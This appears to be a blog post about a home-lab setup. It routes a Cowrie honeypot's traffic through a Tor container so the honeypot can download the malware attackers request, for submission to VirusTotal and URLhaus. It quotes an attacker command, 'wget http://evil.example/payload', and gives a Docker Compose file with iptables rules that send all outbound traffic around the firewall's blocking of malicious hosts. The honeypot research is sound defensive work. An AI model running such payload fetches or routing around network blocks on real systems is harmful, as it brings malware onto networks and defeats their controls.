TL;DR: I wanted Cowrie to actually download the malware attackers were throwing at it. Unfortunately, my security controls had other ideas. I found a way around the problem without weakening my OPNsense rules.
Table of Contents
- The problem: my honeypot was too well protected
- Why I didn't just whitelist Cowrie
- The solution: Cowrie goes Tor
- The Docker Compose
- Now the download actually happens
- And now things get interesting
- One important disclaimer
The problem: my honeypot was too well protected
I've been playing around with Cowrie in my home lab, running it in Docker on Proxmox behind OPNsense.
The goal is pretty simple:
Let attackers do stupid things to a machine that exists specifically so attackers can do stupid things to it.
I wanted Cowrie to capture malware that attackers were trying to download, then automatically send useful bits of it to VirusTotal and Urlhaus.
There was just one small problem.
My firewall was doing its job.
Which, in this particular case, was extremely inconvenient.
My network looks roughly like this:
Internet
|
v
OPNsense
|
+-- CrowdSec
|
v
Proxmox
|
+-- Cowrie
OPNsense is doing the usual sensible security things, including CrowdSec blocking known malicious destinations. Normally: Excellent. Five stars. Keep doing that.
But Cowrie is not a normal server. If an attacker gets a shell and runs:
wget http://some-sketchy-ip/payload
I don't want OPNsense to say:
"Absolutely not, that's malware."
I want Cowrie to say:
"Oh? You're downloading something? By all means. Please continue."
Because that's literally why the honeypot exists.
Instead, I was getting something like:
Attacker
|
v
Cowrie
|
v
wget http://evil.example/payload
|
v
OPNsense
|
v
NOPE
The malicious URL was known to CrowdSec, so the outbound connection was blocked.
No download. No sample. No analysis.
Just a very secure honeypot sitting there politely refusing to get hacked.
Not exactly what I ordered.
Why I didn't just whitelist Cowrie
The obvious solution is to create a firewall rule:
"Cowrie is allowed to connect to malicious things."
Technically, sure. But I really didn't like that approach.
I'd be turning the honeypot into a special trusted machine and then maintaining firewall exceptions around it. That's backwards.
The whole point of the honeypot is that I don't trust it.
So instead of teaching OPNsense to trust Cowrie, I decided to make Cowrie's outbound traffic go somewhere else.
Enter Tor.
The solution: Cowrie goes Tor
The new setup looks like this:
Internet
^
|
Tor network
^
|
+------+------+
| tor-router |
| Docker |
+------+------+
|
shared network
namespace
|
+------+------+
| Cowrie |
+------------+
|
Proxmox
|
OPNsense
|
Internet
The trick is that Cowrie and the Tor container share the same network namespace.
This line is the important one:
network_mode: "container:tor-router"
Cowrie basically gets shoved into the Tor container's network stack.
Then iptables transparently redirects outbound TCP and DNS traffic to Tor.
No proxy configuration inside Cowrie.
No modifying whatever malware happens to be running.
No trying to predict which ports or protocols an attacker will use.
Cowrie just thinks it has normal Internet access.
It doesn't.
And that's exactly what I want.
The Docker Compose
Here's the whole thing:
version: '3.8'
services:
tor-router:
image: alpine:latest
container_name: tor-router
# Cowrie shares this container's network namespace,
# so its ports need to be exposed here.
ports:
- "2222:2222"
- "2223:2223"
cap_add:
- NET_ADMIN
entrypoint: >
sh -c "
apk add --no-cache tor iptables &&
echo -e 'Log notice stdout\nDataDirectory /var/lib/tor\nUser tor\nTransPort 127.0.0.1:9040\nDNSPort 127.0.0.1:5353' > /etc/tor/torrc &&
iptables -t nat -A OUTPUT
-p tcp
-m owner --uid-owner tor
-j RETURN &&
iptables -t nat -A OUTPUT
-p tcp
-j REDIRECT --to-ports 9040 &&
iptables -t nat -A OUTPUT
-p udp --dport 53
-j REDIRECT --to-ports 5353 &&
tor -f /etc/tor/torrc
"
restart: always
cowrie:
image: cowrie/cowrie:latest
container_name: cowrie-honeypot
# This is the magic.
network_mode: "container:tor-router"
volumes:
- ./cowrie-var:/path/to/cowrie/var
- ./cowrie.cfg:/path/to/cowrie/etc/cowrie.cfg:ro
depends_on:
- tor-router
restart: always
There are two things worth understanding here.
1. Cowrie shares the Tor network namespace
network_mode: "container:tor-router"
This means Cowrie doesn't have its own network namespace. It uses the one belonging to tor-router.
Consequently, the published Cowrie ports also have to be configured on tor-router:
ports:
- "2222:2222"
- "2223:2223"
Otherwise Docker gets understandably confused about where those ports are supposed to go.
2. iptables catches Cowrie's traffic
Tor is listening on:
TransPort 127.0.0.1:9040
DNSPort 127.0.0.1:5353
TCP traffic gets redirected:
iptables -t nat -A OUTPUT -p tcp -j REDIRECT --to-ports 9040
DNS gets redirected:
iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 5353
But there's an important exception:
iptables -t nat -A OUTPUT \
-p tcp \
-m owner --uid-owner tor \
-j RETURN
Otherwise Tor would catch its own traffic and send it back into its own transparent proxy.
Which would be bad.
Very bad.
Now the download actually happens
The attacker does:
wget http://evil.example/payload
Cowrie sees it.
The connection gets redirected to Tor.
Tor takes it from there.
Eventually:
Cowrie
|
v
iptables
|
v
Tor
|
v
Tor exit
|
v
evil.example
|
v
payload
And finally Cowrie gets the thing I actually wanted: the malware.
Meanwhile, my normal network still goes through OPNsense and CrowdSec exactly as before. That's the important bit.
I haven't told my firewall:
"Hey, malicious destinations are fine now."
I've effectively told the honeypot:
"You're on your own. Good luck."
Which feels much more appropriate.
And now things get interesting
Once Cowrie can actually retrieve the files, I can build a useful pipeline around them.
Something like:
Cowrie
|
download event
|
v
Malware file
|
+--------+--------+
| |
v v
SHA-256 Urlhaus
|
v
VirusTotal
I've also been working on an Urlhaus output module for Cowrie, so this experiment has turned into a bit of a rabbit hole.
The interesting part isn't really "I made Cowrie use Tor."
It's the combination of:
honeypot → capture → enrichment → threat intelligence
Instead of:
"Look, my honeypot got attacked."
I wanted:
"Look, my honeypot got attacked, here's what they downloaded, here's the hash, here's where it came from, and here's what the threat-intelligence services know about it."
That's considerably more useful.
One important disclaimer
This is a honeypot. It is an open invite to all things nasty and evil on the internet. It is deliberately allowing potentially hostile software to make outbound connections.
Do not copy this architecture and put your production server behind it because some guy on the internet said it was cool.
The honeypot should be isolated from anything you actually care about.
For me, the nice property of this setup is that I don't need to weaken my normal OPNsense/CrowdSec security controls just to make the honeypot useful. TOR also hides my identity from remote malware sites thus also preserving honeypot's existence.
My normal machines can continue to get:
BLOCKED
when they try to connect to known malicious infrastructure.
Cowrie gets:
Sure, go ahead. Let's see what happens.
That's exactly the separation I wanted.
Top comments (0)